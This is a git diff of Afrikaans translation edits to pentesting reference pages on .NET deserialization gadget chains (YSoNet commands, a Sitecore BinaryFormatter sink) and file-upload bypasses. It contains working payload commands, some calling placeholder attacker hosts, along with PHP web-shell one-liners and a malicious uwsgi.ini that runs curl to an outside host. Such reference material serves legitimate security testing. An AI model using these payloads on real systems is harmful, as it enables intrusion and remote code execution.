-Die ObjectDataProvider + ExpandedWrapper-tegniek wat hierbo bekendgestel is, is net een van BAIE gadgetkettings wat misbruik kan word wanneer 'n toepassing **onveilige .NET-deserialisering** uitvoer. Moderne red-team gereedskap soos **[YSoNet](https://github.com/irsdl/ysonet)** (en die ouer [ysoserial.net](https://github.com/pwntester/ysoserial.net)) outomatiseer die skep van **klaar-vir-gebruik kwaadwillige objekgrafieke** vir dosyne gadgets en serialiseringsformate.
+Die ObjectDataProvider + ExpandedWrapper-tegniek wat hierbo bekendgestel is, is slegs een van MANY gadget chains wat misbruik kan word wanneer ’n toepassing **unsafe .NET deserialization** uitvoer. Moderne red-team tooling soos **[YSoNet](https://github.com/irsdl/ysonet)** (en die ouer [ysoserial.net](https://github.com/pwntester/ysoserial.net)) outomatiseer die skep van **klaar-vir-gebruik malicious object graphs** vir dosyne gadgets en serialization formats.
 
-Hieronder is 'n samegeperste verwysing van die nuttigste kettings wat saam met *YSoNet* versend word, saam met 'n kort verduideliking van hoe hulle werk en voorbeeldopdragte om die payloads te genereer.
+Below is a condensed reference of the most useful chains shipped with *YSoNet* together with a quick explanation of how they work and example commands to generate the payloads.
 
-| Gadget-ketting | Kernidee / Primitive | Algemene serializers | YSoNet eenreël |
-|--------------|----------------------|--------------------|------------------|
-| **TypeConfuseDelegate** | Korrupteer die `DelegateSerializationHolder`-rekord sodat, sodra dit gematerialiseer is, die delegate na *enige* deur die aanvaller voorsiene metode wys (bv. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
-| **ActivitySurrogateSelector** | Misbruik `System.Workflow.ComponentModel.ActivitySurrogateSelector` om *om .NET ≥4.8 tipe-filtrering te omseil* en direk die **constructor** van 'n gegewe klas aan te roep of 'n C#-lêer onderweg te **compileer** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
-| **DataSetOldBehaviour** | Benut die **erfenis-XML**-voorstelling van `System.Data.DataSet` om ewekansige tipes te instansieer deur die `<ColumnMapping>` / `<DataType>` velde te vul (opsioneel die assembly te vervals met `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
-| **GetterCompilerResults** | Op WPF-ondersteunde runtimes (> .NET 5) ketting dit eienskaps-getters totdat dit by `System.CodeDom.Compiler.CompilerResults` kom, en **compileer** of **laai** dan 'n DLL wat met `-c` voorsien is | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
-| **ObjectDataProvider** (review) | Gebruik WPF `System.Windows.Data.ObjectDataProvider` om 'n ewekansige statiese metode met beheerste argumente aan te roep. YSoNet voeg 'n handige `--xamlurl` variant by om die kwaadwillige XAML op afstand te huisves | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
-| **PSObject (CVE-2017-8565)** | Insluit `ScriptBlock` in `System.Management.Automation.PSObject` wat uitgevoer word wanneer PowerShell die objek deserialiseer | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
+| Gadget Chain | Kernidee / Primitive | Algemene Serializers | YSoNet eenreël |
+|--------------|----------------------|----------------------|----------------|
+| **TypeConfuseDelegate** | Corrupts die `DelegateSerializationHolder` rekord sodat, wanneer dit geïnstantieer word, die delegate na *enige* deur die aanvaller verskafde metode wys (bv. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
+| **ActivitySurrogateSelector** | Misbruik van `System.Workflow.ComponentModel.ActivitySurrogateSelector` om *bypass .NET ≥4.8 type-filtering* en direk die **constructor** van ’n gegewe klas aan te roep of ’n C#-lêer ter plaatse te samestel | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
+| **DataSetOldBehaviour** | Benut die **legacy XML** voorstelling van `System.Data.DataSet` om arbitrêre tipes te instansieer deur die `<ColumnMapping>` / `<DataType>` velde te vul (opsioneel deur die assembly te vervals met `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
+| **GetterCompilerResults** | Op WPF-geaktiveerde runtimes (> .NET 5) kettinge property getters totdat `System.CodeDom.Compiler.CompilerResults` bereik word, en dan ’n DLL saamstel of laai wat met `-c` verskaf is | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
+| **ObjectDataProvider** (review) | Gebruik WPF `System.Windows.Data.ObjectDataProvider` om ’n arbitrêre static metode met beheerde argumente aan te roep. YSoNet voeg ’n handige `--xamlurl` variant by om die kwaadwillige XAML remote te host | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
+| **PSObject (CVE-2017-8565)** | Embed `ScriptBlock` in `System.Management.Automation.PSObject` wat uitgevoer word wanneer PowerShell die object deserialiseer | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
 
 > [!TIP]
-> Alle payloads word standaard na **stdout** geskryf, wat dit eenvoudig maak om hulle in ander gereedskap te pipe (bv. ViewState-generators, base64-enkodeerders, HTTP-kliënte).
+> Al die payloads word standaard na *stdout* weggeskryf, wat dit eenvoudig maak om hulle in ander tooling te pipe (bv. ViewState generators, base64 encoders, HTTP clients).
 
-### Bou / Installeer YSoNet
+### Bouw / Installering van YSoNet
 
-As daar geen vooraf-gekodeerde binaries beskikbaar is onder *Actions ➜ Artifacts* / *Releases* nie, sal die volgende **PowerShell** eenreël 'n build-omgewing opstel, die repository kloon en alles in *Release*-modus compileer:
+As daar geen vooraf-gecompileerde binaries beskikbaar is onder *Actions ➜ Artifacts* / *Releases* nie, sal die volgende **PowerShell** eenreël-opdrag ’n build-omgewing opstel, die repository kloon en alles in *Release*-modus saamstel:
 ```powershell
 Set-ExecutionPolicy Bypass -Scope Process -Force;
 [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@@ -218,20 +218,20 @@ msbuild ysonet.sln -p:Configuration=Release
 ```
 Die gekompileerde `ysonet.exe` kan dan gevind word onder `ysonet/bin/Release/`.
 
-### Detection & Hardening
-* **Detecteer** onverwante child processes van `w3wp.exe`, `PowerShell.exe`, of enige proses wat deur die gebruiker verskafde data deserialiseer (e.g. `MessagePack`, `Json.NET`).
-* Skakel en **dwing type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) in waar die verouderde `BinaryFormatter` / `NetDataContractSerializer` nie verwyder kan word nie.
-* Waar moontlik migreer na **`System.Text.Json`** of **`DataContractJsonSerializer`** met witlys-gebaseerde omskakelaars.
-* Blokkeer gevaarlike WPF assemblies (`PresentationFramework`, `System.Workflow.*`) sodat dit nie in webprosesse gelaai kan word wat dit nooit behoort te benodig nie.
+### Opsporing & Verharding
+* **Detecteer** onverwante kinderprosesse van `w3wp.exe`, `PowerShell.exe`, of enige proses wat gebruiker-gelewerde data deserialiseer (bv. `MessagePack`, `Json.NET`).
+* Skakel in en **handhaaf tipe-filters** (`TypeFilterLevel` = *Full*, pasgemaakte `SurrogateSelector`, `SerializationBinder`, *ens.*) wanneer die verouderde `BinaryFormatter` / `NetDataContractSerializer` nie verwyder kan word nie.
+* Waar moontlik migreer na **`System.Text.Json`** of **`DataContractJsonSerializer`** met witlys-gebaseerde converters.
+* Blokkeer gevaarlike WPF-assemblies (`PresentationFramework`, `System.Workflow.*`) sodat hulle nie in webprosesse wat dit nooit behoort te benodig gelaai word nie.
 
-## Werklike sink: Sitecore convertToRuntimeHtml → BinaryFormatter
+## Werklike‑wêreld sink: Sitecore convertToRuntimeHtml → BinaryFormatter
 
-'n Praktiese .NET sink wat binne geauthentiseerde Sitecore XP Content Editor vloei bereik kan word:
+’n Praktiese .NET sink wat binne geauthentiseerde Sitecore XP Content Editor-strome bereikbaar is:
 
-- Sink API: `Sitecore.Convert.Base64ToObject(string)` verpak `new BinaryFormatter().Deserialize(...)`.
-- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, wat soek na 'n suster-element met `id="{iframeId}_inner"` en lees 'n `value` attribuut wat as base64-gekodeerde geseerialiseerde data behandel word. Die resultaat word ge-cast na string en in die HTML ingevoeg.
+- Sink API: `Sitecore.Convert.Base64ToObject(string)` roep `new BinaryFormatter().Deserialize(...)` aan.
+- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, wat soek na ’n sibling-element met `id="{iframeId}_inner"` en ’n `value`-attribuut lees wat as base64-gekodeerde geserialiseerde data behandel word. Die resultaat word na string omgeskakel en in die HTML ingevoeg.
 
-Minimale end‑to‑end (geauthentiseer):
+Minimale end‑tot‑end (geauthentiseer):
 ```
 // Load HTML into EditHtml session
 POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
@@ -246,7 +246,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
 // Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
 GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
 ```
-- Gadget: enige BinaryFormatter-ketting wat 'n string teruggee (newe-effekte word tydens deserialisasie uitgevoer). Sien YSoNet/ysoserial.net om payloads te genereer.
+- Gadget: enige BinaryFormatter-ketting wat 'n string teruggee (sy‑effekte word tydens deserialisering uitgevoer). Sien YSoNet/ysoserial.net om payloads te genereer.
 
 Vir 'n volledige ketting wat pre‑auth begin met HTML cache poisoning in Sitecore en na hierdie sink lei:
 
diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md
index b2f736c0f..764b47aa4 100644
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@@ -1,10 +1,10 @@
-# Lêeroplaai
+# Lêer-oplaai
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Algemene metodologie vir lêeroplaai
+## Algemene metodologie vir lêer-oplaai
 
-Other useful extensions:
+Ander nuttige extensies:
 
 - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
 - **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
@@ -15,13 +15,13 @@ Other useful extensions:
 - **Perl**: _.pl, .cgi_
 - **Erlang Yaws Web Server**: _.yaws_
 
-### Omseil kontroles op lêeruitbreidings
+### Omseil kontroles op lêer-ekstensies
 
-1. As dit van toepassing is, **kontroleer** die **vorige extensies.** Toets hulle ook deur sommige **hoofdletters** te gebruik: _pHp, .pHP5, .PhAr ..._
-2. _Kontroleer **om 'n geldige extensie voor** die uitvoeringsextensie by te voeg (gebruik ook die vorige extensies):_
+1. Indien van toepassing, **kontroleer** die **vorige extensies.** Toets dit ook met sommige **hoofletters**: _pHp, .pHP5, .PhAr ..._
+2. _Toets om **'n geldige extensie vóór** die uitvoerings-extensie te voeg (gebruik ook vorige extensies):_
 - _file.png.php_
 - _file.png.Php5_
-3. Probeer om **spesiale karakters aan die einde** by te voeg. Jy kan Burp gebruik om alle **ascii** en **Unicode** karakters te **bruteforce**. (_Let wel dat jy ook die **vorige** genoemde **extensies** kan probeer._)
+3. Probeer om **spesiale karakters aan die einde toe te voeg.** Jy kan Burp gebruik om **bruteforce** al die **ascii** en **Unicode** karakters. (_Let wel dat jy ook kan probeer om die **vroeggenoemde** **extensies** te gebruik_)
 - _file.php%20_
 - _file.php%0a_
 - _file.php%00_
@@ -31,7 +31,7 @@ Other useful extensions:
 - _file._
 - _file.php...._
 - _file.pHp5...._
-4. Probeer om die beskermings te omseil deur die server-side **extension parser** te mislei met tegnieke soos **doubling** die **extension** of **adding junk** data (**null** bytes) tussen extensies. _Jy kan ook die **vorige extensies** gebruik om 'n beter payload voor te berei._
+4. Probeer om die beskermings te omseil deur die bediener se **extension parser** te mislei met tegnieke soos **doubling** die **extension** of **adding junk** data (**null** bytes) tussen extensies. _Jy kan ook die **vorige extensies** gebruik om 'n beter payload voor te berei._
 - _file.png.php_
 - _file.png.pHp5_
 - _file.php#.png_
@@ -40,12 +40,12 @@ Other useful extensions:
 - _file.php%0a.png_
 - _file.php%0d%0a.png_
 - _file.phpJunk123png_
-5. Voeg **nog 'n laag extensies** by die vorige toets:
+5. Voeg **nog 'n laag van extensies** by by die vorige toets:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Probeer om die **exec extension voor die geldige extensie** te plaas en hoop dat die bediener verkeerd gekonfigureer is. (nuttig om Apache misconfigurasies uit te buit waar enigiets met die extensie .php, maar nie noodwendig eindigend in .php nie, kode sal uitvoer):
+6. Probeer om die **exec extension voor die geldige extensie** te plaas en hoop die bediener is verkeerd gekonfigureer. (nuttig om Apache-misconfigurasies uit te buit waar enigiets met die ekstensie **.php**, maar nie noodwendig eindigend op .php nie, kode sal uitvoer):
 - _ex: file.php.png_
-7. Gebruik **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter ":" ingevoeg word na 'n verbode extensie en voor 'n toegelate een. As gevolg daarvan sal 'n **leë lêer met die verbode extensie** op die bediener geskep word (bv. "file.asax:.jpg”). Hierdie lêer kan later geredigeer word met ander tegnieke soos die gebruik van sy kort lêernaam. Die "**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon te voeg om verdere beperkings te omseil (bv. "file.asp::$data.”)
+7. Gebruik van **NTFS alternate data stream (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter ":" ingevoeg word ná 'n verbode extensie en voor 'n toegelate een. As gevolg daarvan sal 'n **leë lêer met die verbode extensie** op die bediener geskep word (bv. "file.asax:.jpg"). Hierdie lêer kan later deur ander tegnieke gewysig word, soos deur sy short filename te gebruik. Die "**::$data**" patroon kan ook gebruik word om nie-leë lêers te skep. Dus kan die byvoeging van 'n puntkarakter na hierdie patroon ook nuttig wees om verdere beperkings te omseil (bv. "file.asp::$data.")
 8. Probeer om die lêernaamlimiete te breek. Die geldige extensie word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
 
 ```
@@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
 
 #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
 
-Sommige upload handlers sny of normaliseer puntkarakters aan die einde van die gestoorde lêernaam. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) weergawes voor 2.9.1 kan jy die extensie-validasie omseil deur:
+Party upload handlers sny of normaliseer agtergestelde puntkarakters uit die gestoor lêernaam. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) weergawes voor 2.9.1, kan jy extensie-validering omseil deur:
 
-- Deur 'n geldige image MIME en magic header te gebruik (bv. PNG se `\x89PNG\r\n\x1a\n`).
-- Die opgelaaide lêer te noem met 'n PHP-extensie gevolg deur 'n punt, bv. `shell.php.`.
-- Die bediener verwyder die agtervoegende punt en bewaar `shell.php`, wat sal uitvoer as dit in 'n web-aangewese gids geplaas word (standaard public storage soos `/storage/files/`).
+- Gebruik 'n geldige image MIME en magic header (bv. PNG se `\x89PNG\r\n\x1a\n`).
+- Noem die oplaai-lêer met 'n PHP-extensie gevolg deur 'n punt, bv. `shell.php.`.
+- Die bediener verwyder die agterste punt en stoor `shell.php`, wat sal uitvoer as dit in 'n web-bedienende gids geplaas word (standaard publieke stoor soos `/storage/files/`).
 
-Minimal PoC (Burp Repeater):
+Minimale PoC (Burp Repeater):
 ```http
 POST /profile/avatar HTTP/1.1
 Host: target
@@ -84,59 +84,59 @@ Roep dan die gestoorde pad aan (tipies in Laravel + LFM):
 ```
 GET /storage/files/0xdf.php?cmd=id
 ```
-Mitigasies:
-- Werk op unisharp/laravel-filemanager na ≥ 2.9.1.
-- Dwing streng server-side allowlists af en valideer die gestoorde lêernaam weer.
-- Bedien uploads vanaf nie-uitvoerbare liggings.
+Versagtingsmaatreëls:
+- Opgradeer unisharp/laravel-filemanager na ≥ 2.9.1.
+- Dwing streng server-side allowlists af en hervalideer die gestoorde lêernaam.
+- Bedien uploads vanaf nie-uitvoerbare plekke.
 
-### Bypass Content-Type, Magic Number, Compression & Resizing
+### Omseil Content-Type, Magic Number, Compression & Resizing
 
-- Bypass **Content-Type** checks deur die **value** van die **Content-Type** **header** te stel op: _image/png_ , _text/plain , application/octet-stream_
+- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
-- Bypass **magic number** check deur aan die begin van die lêer die **bytes van 'n werklike beeld** by te voeg (om die _file_ command te mislei). Of plaas die shell in die **metadata**:\
+- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-` ` of jy kan ook die **payload direk** in 'n beeld plaas:\
+`\` or you could also **introduce the payload directly** in an image:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-- As **kompressie by jou beeld toegepas word**, byvoorbeeld deur sommige standaard PHP-biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
-- Die webblad kan die **image** ook **resize**, byvoorbeeld met die PHP-GD funksies `imagecopyresized` of `imagecopyresampled`. Jy kan egter die **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Nog 'n tegniek om 'n payload te maak wat **'n beeld-hergrootting oorleef**, gebruik die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
+- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
 - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
-### Other Tricks to check
+### Ander truuks om te kontroleer
 
 - Vind 'n kwesbaarheid om die reeds opgelaaide lêer te **hernoem** (om die uitbreiding te verander).
-- Vind 'n **Local File Inclusion** kwesbaarheid om die backdoor uit te voer.
-- **Moontlike inligtingslek**:
-1. Laai die **selfde lêer** **meermale** (en op die **selfde tyd**) op met dieselfde naam.
-2. Laai 'n lêer op met die **naam** van 'n **lêer** of **gids** wat **reeds bestaan**.
-3. Laai 'n lêer op met **"." , "..", of "..." as sy naam**. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers in "/www/uploads/" directory stoor, sal die "." lêernaam 'n lêer genaamd "uploads" in die "/www/" directory skep.
-4. Laai 'n lêer op wat nie maklik verwyder kan word nie, soos **"...:.jpg"** in **NTFS**. (Windows)
+- Vind 'n **Local File Inclusion** kwetsbaarheid om die backdoor uit te voer.
+- **Moontlike inligtingsvrystelling**:
+1. Laai **veral kere** op (en op die **selfde tyd**) dieselfde **lêer** met dieselfde **naam**
+2. Laai 'n lêer op met die **naam** van 'n **lêer** of **gids** wat **reeds bestaan**
+3. Laai 'n lêer op met **"." , "..", or "…" as its name**. Byvoorbeeld, in Apache op **Windows**, as die toepassing die opgelaaide lêers stoor in "/www/uploads/" directory, sal die "." filename 'n lêer met die naam "uploads" in die "/www/" directory skep.
+4. Laai 'n lêer op wat nie maklik verwyder kan word nie, soos **"…:.jpg"** in **NTFS**. (Windows)
 5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in die naam. (Windows)
-6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
-- Probeer ook om 'n **uitvoerbare lêer op te laai** (.exe) of 'n **.html** (minder verdag) wat **kode sal uitvoer** wanneer dit per ongeluk deur 'n slagoffer geopen word.
+6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
+- Probeer ook om 'n **uitvoerbare lêer op te laai** (.exe) of 'n **.html** (minder verdenk) wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer oopgemaak word.
 
-### Spesiale uitbreidings-trieke
+### Spesiale uitbreidingstruuks
 
-As jy probeer om lêers na 'n **PHP server** op te laai, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
-As jy probeer om lêers na 'n **ASP server** op te laai, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
+If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 
-Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **soos 'n php-lêer gebruik word** (uitgevoer met php, of ingesluit in 'n script...).
+Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **soos 'n php-lêer gebruik word** (uitvoer met php, of insluit in 'n script...)
 
-Die `.inc` uitbreiding word soms gebruik vir php-lêers wat net gebruik word om **lêers te importeer**, so op 'n stadium kan iemand hierdie uitbreiding toegelaat het om **uitgevoer te word**.
+Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers te importeer**, so, op 'n stadium, kan iemand hierdie uitbreiding toegelaat het om **uitgevoer te word**.
 
 ## **Jetty RCE**
 
-As jy 'n XML-lêer na 'n Jetty server kan oplaai, kan jy [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos in die volgende beeld vermeld, laai die XML-lêer na `$JETTY_BASE/webapps/` en verwag die shell!
+As jy 'n XML-lêer na 'n Jetty-server kan oplaai, kan jy [RCE kry omdat **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, soos in die volgende prent getoon, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
 
 ## **uWSGI RCE**
 
-Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Remote Command Execution (RCE) kwetsbaarhede kan op uWSGI servers uitgebuit word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI-konfigurasielêers gebruik 'n spesifieke sintaks om "magic" veranderlikes, placeholders, en operateurs in te sluit. Besonder is die '@' operateur, gebruik as `@(filename)`, wat bedoel is om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI is die "exec" skema besonder kragtig, omdat dit toelaat om data vanaf 'n proses se standaarduitset te lees. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
+Remote Command Execution (RCE) kwesbaarhede kan uitgebuit word in uWSGI-bedieners indien iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers gebruik 'n spesifieke sintaks om "magic" veranderlikes, plaasvervangers en operateurs in te sluit. Noemenswaardig is die '@' operateur, wat as `@(filename)` gebruik word en ontwerp is om die inhoud van 'n lêer in te sluit. Onder die verskeie ondersteunde skemas in uWSGI is die "exec" skema besonders kragtig, aangesien dit die lees van data vanaf 'n proses se standaarduitset toelaat. Hierdie funksie kan gemanipuleer word vir kwaadwillige doeleindes soos Remote Command Execution of Arbitrary File Write/Read wanneer 'n `.ini` konfigurasielêer verwerk word.
 
 Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas demonstreer:
 ```ini
@@ -156,14 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-Die uitvoering van die payload gebeur tydens die parsing van die configuration file. Om die configuration te aktiveer en te parse, moet die uWSGI-proses óf herbegin word (moontlik na 'n crash of as gevolg van 'n Denial of Service attack) óf die lêer moet op auto-reload gestel word. Die auto-reload-funksie, indien aangeskakel, reload die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word.
+Die uitvoering van die payload gebeur tydens die parsing van die konfigurasielêer. Om die konfigurasie geaktiveer en geparse te kry, moet die uWSGI-proses óf herbegin word (moontlik ná 'n crash of as gevolg van 'n Denial of Service-aanval) óf die lêer moet ingestel wees om auto-reload. Die auto-reload feature, indien geaktiveer, herlaai die lêer op gespesifiseerde intervalle wanneer veranderinge opgespoor word.
 
-Dit is noodsaaklik om die los aard van uWSGI se configuration file parsing te verstaan. Spesifiek kan die genoemde payload in 'n binary file (soos 'n image of PDF) ingevoeg word, wat die omvang van potensiële exploitasiemoglikhede verder vergroot.
+Dit is belangrik om die losse aard van uWSGI se konfigurasielêer-parsing te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van moontlike uitbuiting verder vergroot.
 
 ## **wget File Upload/SSRF Trick**
 
-In sommige gevalle sal jy vind dat 'n server **`wget`** gebruik om **`download files`** en jy kan die **`URL`** aandui. In sulke gevalle mag die code kontroleer dat die uitbreiding van die gedownloade lêers op 'n whitelist is om te verseker dat slegs toegelate lêers gedownload word. However, `this check can be bypassed.`\
-Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, maar **wget** verkort die lêernaam tot **236** karakters. Jy kan **download a file called "A"\*232+".php"+".gif"**, hierdie lêernaam sal die **bypass** die **check** (soos in hierdie voorbeeld **".gif"** 'n **valid** uitbreiding is) maar `wget` sal die lêer **rename** na **"A"\*232+".php"**.
+In sommige gevalle mag jy vind dat 'n server **`wget`** gebruik om **download files** en jy kan die **URL** aandui. In sulke gevalle mag die kode nagaan dat die extension van die gedownloade files in 'n whitelist is om te verseker dat slegs toegelate files afgelaai gaan word. However, **this check can be bypassed.**\
+Die **maximum** lengte van 'n **filename** in **linux** is **255**, egter **wget** kort die filenames af tot **236** karakters. Jy kan 'n file download met die naam "A"\*232+".php"+".gif" — hierdie filename sal die check omseil (soos in hierdie voorbeeld is ".gif" 'n geldige extension) maar `wget` sal die file hernoem na "A"\*232+".php".
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@@ -186,35 +186,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 
